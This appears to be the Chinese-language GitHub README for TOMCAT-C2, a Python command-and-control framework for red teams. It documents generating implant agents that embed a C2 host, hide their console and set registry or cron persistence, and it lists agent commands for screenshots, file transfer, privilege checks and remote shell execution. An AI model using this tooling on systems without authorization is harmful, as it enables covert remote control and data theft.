MatrixTM26/TOMCAT-C2

GitHub: MatrixTM26/TOMCAT-C2

TOMCAT-C2 是一个支持多协议单端口接入、内置 PKI 与 mTLS 加密的 Python 命令与控制框架,旨在为红队和渗透测试提供轻量便捷的远控基础设施。

Stars: 4 | Forks: 1

TOMCAT-C2 Logo

TOMCAT-C2 框架

**作者:** MatrixTM26 **GitHub:** [MatrixTM26](https://github.com/MatrixTM26) ## 概述 TOMCAT C2 是一个多协议命令与控制 (Command & Control) 框架,支持在单个端口上接收三种类型的传入连接:原生 TOMCAT agent、Meterpreter 会话以及常规的反向 shell。它支持双向 TLS (mTLS) 用于经过身份验证的加密 agent 通信,并内置 PKI 以管理证书。 ## 功能特性 - **多协议** — 单个监听器可同时接收 TOMCAT agent、Meterpreter 和反向 shell - **mTLS 支持** — 具有由 CA 签名客户端证书的双向 TLS;仅允许受信任的 agent 连接 - **Fernet 加密** — 所有 TOMCAT agent 流量均使用对称 Fernet 密钥进行端到端加密 - **三种界面** — CLI、Web 面板 (Flask) 和 Tkinter GUI - **内置 PKI** — 从 CLI 生成 CA、服务器证书以及针对每个 agent 的独立证书 - **Agent 打包** — 自动生成包含预配置证书和脚本的、随时可部署的 agent 文件夹 - **证书管理** — 列出、生成和撤销 agent 证书 - **文件传输** — 向/从 agent 上传和下载文件 - **会话命令** — `sysinfo`、`screenshot`、`elevate`、`cd`、`download`、`upload`、`stoptask` - **权限维持** — 可选的 Windows (注册表) 和 Linux (Cron) 权限维持功能 - **多会话** — 同时与多个会话进行交互 ## 安装说明 ``` git clone https://github.com/MatrixTM26/TOMCAT-C2.git ``` ## 环境要求 ``` Python 3.8+ cryptography flask (for Web Panel mode) pysocks ``` 安装依赖: ``` pip install -r requirements.txt ``` ## 项目结构 ``` . ├── start.py # Entry point ├── AGENT/ │ └── tomcatv2a.py # Agent template ├── IMPLANT/ # Generated agent packages (auto-created) ├── Certs/ # Server certificates (auto-created) │ ├── ca-key.pem │ ├── ca-cert.pem │ ├── server-key.pem │ ├── server-cert.pem │ └── Agent```` # Per-agent certificates ├── Downloads/ # Files received from agents (auto-created) ├── Cores/ │ ├── App/ │ │ ├── App.py # Web Panel (Flask) │ │ ├── Cli.py # CLI Interface │ │ └── Gui.py # Tkinter GUI │ └── Systems/ │ ├── Server.py # Standard TOMCAT-only server │ ├── MultiProtocolServer.py # Multi-protocol server │ ├── CertificateManager.py # PKI / certificate management │ └── Cryptography.py # Fernet encryption wrapper └── Config/ ├── Color.py ├── Logo.py ├── Helper.py └── templates/ │ └── index.html │ └── static/ ├── css/ │ └── style.css └── js/ └── script.js ``` ## 快速开始 ### 1. 初始化证书(mTLS 必需) ``` python3 start.py --init-certs ``` 可选择指定服务器的公网 IP,以使证书 SAN 匹配: ``` python3 start.py --init-certs --server-host 192.168.1.10 ``` ### 2. 生成 Agent 包 ``` python3 start.py --gen-agent myagent --agent-host 192.168.1.10 --agent-port 4444 --agent-mtls ``` 此操作会创建 `IMPLANT/MYAGENT/` 目录,其中包含: ``` IMPLANT/MYAGENT/ ├── tomcatv2a.py # Pre-configured agent script ├── agent-key.pem ├── agent-cert.pem ├── ca-cert.pem └── README.txt ``` 将整个文件夹复制到目标机器并运行: ``` python3 tomcatv2a.py ``` ### 3. 启动服务器 **CLI 模式(仅限标准 TOMCAT):** ``` python3 start.py -C ``` **带 mTLS 的 CLI 模式:** ``` python3 start.py -C -T ``` **带 Meterpreter + mTLS 的 CLI 模式(所有协议):** ``` python3 start.py -C -M -T ``` **Web 面板(默认):** ``` python3 start.py ``` ## 命令参考 ### `start.py` 标志位 | 标志位 | 完整形式 | 描述 | |------|-----------|-------------| | `-i` | `--init-certs` | 初始化 CA 和服务器证书 | | `-a ID` | `--gen-agent ID` | 生成 agent 证书和包 | | `-m` | `--gen-multi-agent` | 生成多个 agent | | `-c N` | `--gen-agent-count N` | 要生成的 agent 数量(默认:10) | | `-u PREFIX` | `--gen-agent-prefix PREFIX` | Agent 名称前缀(默认:agent) | | `-l` | `--list-agents` | 列出所有已签发的 agent 证书 | | `-r ID` | `--revoke-agent ID` | 吊销一个 agent 证书 | | `-T` | `--mtls` | 在服务器上启用 mTLS | | `-M` | `--meterpreter` | 启用多协议模式 (Meterpreter + RevShell) | | `-w HOST` | `--host HOST` | Web 面板绑定主机(默认:0.0.0.0) | | `-p PORT` | `--port PORT` | Web 面板端口(默认:5000) | | `-S HOST` | `--server-host HOST` | 嵌入在服务器证书 SAN 中的主机 | | `-ah HOST` | `--agent-host HOST` | 嵌入在生成的 agent 脚本中的 C2 主机 | | `-ap PORT` | `--agent-port PORT` | 嵌入在生成的 agent 脚本中的 C2 端口 | | `-am` | `--agent-mtls` | 在生成的 agent 中启用 mTLS | | `-hc` | `--hide-console` | 在生成的 agent 中隐藏控制台窗口 (Windows) | | `-ps` | `--persistence` | 为生成的 agent 添加权限维持功能 | | `-C` | `--cli-mode` | 使用 CLI 界面启动 | | `-G` | `--gui-mode` | 使用 Tkinter GUI 启动 | | `-W` | `--web-mode` | 使用 Web 面板 启动 | ### CLI 会话命令 | 命令 | 描述 | |---------|-------------| | `sessions` | 列出所有活动会话 | | `use ` | 进入某个会话的交互式 shell | | `exec ` | 在某个会话上执行单条命令 | | `kill ` | 终止某个会话 | | `status` | 显示服务器状态和运行时间 | | `stats` | 会话类型分布 (TOMCAT / Meterpreter / Shell) | | `logs` | 查看近期事件日志 | | `clear` | 清空终端 | | `help` | 显示命令参考 | | `exit` | 停止服务器并退出 | ### Agent 命令(在 `use ` 内部) | 命令 | 描述 | |---------|-------------| | `sysinfo` | 完整的系统信息 | | `elevate` | 检查提权机会 | | `screenshot` | 截取屏幕并下载 | | `download ` | 从 agent 下载文件 | | `upload ` | 上传文件到 agent | | `dl ` | download 的别名 | | `cd ` | 更改 agent 上的工作目录 | | `stoptask` | 终止当前正在运行的命令 | | `back` | 返回主控制台 | | 任意 shell 命令 | 通过 `subprocess` 在目标上执行 | ## mTLS 架构 ``` C2 Server Agent ───────── ───── ca-cert.pem ◄── shared trust ──► ca-cert.pem server-key.pem agent-key.pem server-cert.pem agent-cert.pem │ │ └──────── TLS mutual auth ─────────┘ ``` CA 同时签署服务器证书和每一个 agent 证书。在 TLS 握手期间,双方都会根据同一个 CA 互相验证。没有有效 CA 签名证书的 agent 会在 SSL 层被拒绝,在此之后才会进行任何 C2 协议通信。 ## 多协议模式 (`-M`) 当使用 `-M` 启动时,服务器会根据每个传入连接的前几个字节来检测会话类型: | 前几个字节 | 检测为 | |-------------|-------------| | TLS ClientHello (`0x16 0x03`) | TOMCAT agent(经 SSL 包装,随后被识别) | | Meterpreter 长度前缀头 | Meterpreter 会话 | | 可打印的 UTF-8 / shell 提示符 | 反向 shell | 这允许单个端口同时接收所有三种连接而无需重新配置。 ## 证书管理 ``` # 初始化 CA + server cert python3 start.py --init-certs # 生成单个 agent 包(已启用 mTLS) python3 start.py -a agent01 -ah 10.0.0.1 -ap 4444 -am # 生成 5 个带有前缀的 agent python3 start.py -m -c 5 -u op1 -ah 10.0.0.1 -ap 4444 -am # 列出所有已颁发的 agent cert python3 start.py -l # 撤销 agent cert python3 start.py -r agent01 ``` 证书存储在 `Certs/` 中。Agent 证书存储在 `Certs/AgentTCF/` 中。元数据(创建日期、路径)在 `Certs/Metadata.json` 中进行跟踪。 | 证书 | 有效期 | |-------------|----------| | CA | 10 年 | | 服务器 | 1 年 | | Agent | 1 年(默认) | ## Agent 配置 生成的 `tomcatv2a.py` 具有由 `start.py` 预填充的以下变量: ``` ServerHost = "192.168.1.10" ServerPort = 4444 UseMTLS = True HideConsole = False AddPersistence = False ``` 要在不使用 mTLS 的情况下部署(纯 TCP),请在生成 agent 时省略 `-am`: ``` python3 start.py -a myagent -ah 192.168.1.10 -ap 4444 ``` ## 已知问题 / 已应用修复 **Bug(已在 `MultiProtocolServer.py` 中修复):** 当同时使用 `-M` (MeterpreterMode) 和 `-T` (mTLS) 运行时,使用 `UseMTLS=True` 的 TOMCAT agent 无法连接。根本原因是: 1. `StartServer()` 和 `SessionHandler()` 使用 `and not self.MeterpreterMode` 来保护 SSL 设置,因此从未进行过 SSL 包装。 2. `IdentifySession()` 检测到来自 agent 的 TLS ClientHello 后立即关闭了连接。 此修复基于对前几个字节的**窥探 (peek)** 来应用 SSL 包装 —— 纯 TCP 客户端(Meterpreter、反向 shell)直接无包装通过,而 TLS 客户端(TOMCAT agent)在身份识别之前就被包装。 ## 安全说明 - 妥善保管 `ca-key.pem` 和 `server-key.pem`,绝不要将它们部署到 agent 上。 - 每个 agent 都会收到其独有的密钥对;吊销其中一个不会影响其他 agent。 - 如果没有 `-T`/`--mtls`,任何完成 TOMCAT 握手的客户端都将被接受 —— 请在生产环境中使用 mTLS。 - Fernet 密钥是临时的(在服务器启动时生成);重启服务器会使所有现有的 agent 会话失效。

© 2026 MatrixTM26

标签:C2服务器, C2框架, CLI, Fernet加密, Flask, GUI, IP 地址批量处理, Linux Cron, Meterpreter, mTLS, Python安全工具, TLS加密, Web面板, WiFi技术, Windows注册表, 会话管理, 协议分析, 双向认证, 反向Shell, 命令与控制, 多协议监听, 安全学习资源, 截图, 文件上传, 文件下载, 权限提升, 网络信息收集, 网络安全, 证书管理, 远控木马, 逆向工具, 隐私保护